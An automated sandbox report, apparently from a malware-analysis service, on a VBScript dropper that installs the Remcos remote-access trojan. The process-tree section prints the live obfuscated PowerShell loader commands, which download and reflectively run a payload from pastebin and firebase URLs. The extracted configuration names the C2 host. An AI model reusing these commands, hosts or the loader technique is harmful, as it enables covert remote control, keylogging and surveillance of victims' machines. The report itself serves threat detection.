Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 17:34

General

  • Target

    svchost.vbs

  • Size

    657KB

  • MD5

    640e23a0f55c4759add8aad509ace287

  • SHA1

    1dffe657f1bdc51e0bbbdecb893fa66c171e7bb3

  • SHA256

    e50eab2b5a062ba0af3bec95fcf12637ac37e1d889c0cfbb6ae623d3bc25eb47

  • SHA512

    27e2b59d60d770a850e64600b7022ca5ddcab4b017e9d4aea6017e294fd70877b27d3b6b17618c10378d056e0bd5fba68356ff0d39e6af97cdbd0c88cd025913

  • SSDEEP

    384:Tu/u/u/u/Hu/u/u/u/Hu/u/u/u/McQOkcGZI8bt2:6GGGWGGGWGGGjZkcwI8bt2

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://pastebin.com/raw/0FK5ax2D

Extracted

Family

remcos

Botnet

Nlk

C2

comandoespecial2023.duckdns.org:8888

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-3PWW8O

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹M☹BG☹Es☹NQBh☹Hg☹MgBE☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bu☹Gg☹b☹By☹GQ☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹bwB1☹GI☹bgBl☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹HM☹awBv☹Hc☹aw☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹cwBr☹G8☹dwBr☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹JwBj☹GM☹MQBm☹DQ☹MQBk☹GY☹Mg☹5☹Dg☹Z☹☹t☹DQ☹ZQ☹5☹GE☹LQ☹w☹GM☹MQ☹0☹C0☹MwBh☹DY☹Mg☹t☹DY☹NQ☹x☹GU☹MQ☹1☹GU☹MQ☹9☹G4☹ZQBr☹G8☹d☹☹m☹GE☹aQBk☹GU☹bQ☹9☹HQ☹b☹Bh☹D8☹d☹B4☹HQ☹LgBv☹Go☹ZQBp☹HY☹cwBv☹GM☹bQBl☹HI☹Rg☹y☹CU☹bwB0☹GM☹ZQB5☹G8☹cgBw☹C8☹bw☹v☹G0☹bwBj☹C4☹d☹Bv☹H☹☹cwBw☹H☹☹YQ☹u☹DY☹MwBm☹DI☹Nw☹t☹HI☹cgBy☹HI☹cgBy☹C8☹Yg☹v☹D☹☹dg☹v☹G0☹bwBj☹C4☹cwBp☹H☹☹YQBl☹Gw☹ZwBv☹G8☹Zw☹u☹GU☹ZwBh☹HI☹bwB0☹HM☹ZQBz☹GE☹YgBl☹HI☹aQBm☹C8☹Lw☹6☹HM☹c☹B0☹HQ☹a☹☹n☹C☹☹L☹☹g☹CQ☹bwB1☹GI☹bgBl☹C☹☹L☹☹g☹Cc☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹C0☹LQ☹t☹C0☹LQ☹t☹C0☹Jw☹s☹C☹☹J☹Bu☹Gg☹b☹By☹GQ☹L☹☹g☹Cc☹MQ☹n☹Cw☹I☹☹n☹FI☹bwBk☹GE☹Jw☹g☹Ck☹KQ☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/0FK5ax2D' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$nhlrd = '0' ;$oubne = 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs' ;[Byte[]] $skowk = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($skowk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('cc1f41df298d-4e9a-0c14-3a62-651e15e1=nekot&aidem=tla?txt.ojeivsocmerF2%otceyorp/o/moc.topsppa.63f27-rrrrrr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $oubne , '____________________________________________-------', $nhlrd, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2912
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c
          4⤵
            PID:5048
          • C:\Windows\system32\PING.EXE
            "C:\Windows\system32\PING.EXE" 127.0.0.1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2724
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4144
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:1256

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat

      Filesize

      144B

      MD5

      44e2e72fd28bea4e4b32d8b8c9d82fb1

      SHA1

      c2b2e33b56ce8b1e27478bcd2662e8b77c6fc5cd

      SHA256

      3b19f12809b893f1494f34f3a4c1136cd42aaa54717c1f3785d4fde39544d6c1

      SHA512

      31ec492fc826c8f2f905cb7c9c140a878d1a2534f2329ecd08b7ca5914fe0b3f44b23b914c795b40bae3b434d8088c546d194fcd9d280a331057899447d77846

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      223bd4ae02766ddc32e6145fd1a29301

      SHA1

      900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

      SHA256

      1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

      SHA512

      648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      f41749d3304fe7630e68e6f0f197484d

      SHA1

      ba950b28f56bfdff1ef4bdd287858345932324a9

      SHA256

      858af8767bf5ceeb261b0e6b52a244dc69095816b15c93f21ba09fc6226a1461

      SHA512

      57e399cf6b4d88db189ebba7a7db8e817593855d1277ca9f2d3687afc7fadad039882c602043c5c4c9f62604f5ba5952e0ad9a27f8c9d0170a2629fe89da5a9b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      d8b9a260789a22d72263ef3bb119108c

      SHA1

      376a9bd48726f422679f2cd65003442c0b6f6dd5

      SHA256

      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

      SHA512

      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tpcakmws.hw1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\dll01.txt

      Filesize

      143B

      MD5

      ca3e9f3bbaab1d91f5669c577de22fa4

      SHA1

      70b81036cf4f04b1d576bb1919b9ed85451914c6

      SHA256

      3c4664ee97f3c7f228328e22d2cf88a7d492cfad95a5154eaeae889e45cd2137

      SHA512

      b22a10692fa31d9f678247c9bc52fcfe7c04b1335530567a930da3098fd667d36b513a3f88aed8c20d379672d8ca03038dd372d2e0f8fca9988f4f81cf7e857e

    • C:\Users\Admin\AppData\Local\Temp\dll01.txt

      Filesize

      103KB

      MD5

      70d9e1bb47536e58c110170bdaa06407

      SHA1

      615485617d9be2219e858e6896e728b4c32f4c77

      SHA256

      c9a42ec3ef13dea4be9c17dd82e43640b732d44971c1babdb887e4cb58ae1f2e

      SHA512

      5bca9a669d3b54666e445c44fb695206d86bacf3895583f5b4e630f438507539d4f6a161efbf224cb41c0bedce5e37718ff7e5d95203d3f7422c828c493b903f

    • memory/1256-55-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-52-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-39-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-45-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-86-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-50-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-47-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-87-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-78-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-79-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-71-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-70-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-54-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-53-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-63-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/1256-62-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2912-38-0x000002A26BFA0000-0x000002A26BFB6000-memory.dmp

      Filesize

      88KB

    • memory/2912-37-0x000002A26BF40000-0x000002A26BF56000-memory.dmp

      Filesize

      88KB

    • memory/3544-0-0x00007FFF60F63000-0x00007FFF60F65000-memory.dmp

      Filesize

      8KB

    • memory/3544-1-0x000001B9DD460000-0x000001B9DD482000-memory.dmp

      Filesize

      136KB

    • memory/3544-7-0x00007FFF60F60000-0x00007FFF61A21000-memory.dmp

      Filesize

      10.8MB

    • memory/3544-12-0x00007FFF60F60000-0x00007FFF61A21000-memory.dmp

      Filesize

      10.8MB

    • memory/3544-46-0x00007FFF60F60000-0x00007FFF61A21000-memory.dmp

      Filesize

      10.8MB

    • memory/3544-51-0x00007FFF60F60000-0x00007FFF61A21000-memory.dmp

      Filesize

      10.8MB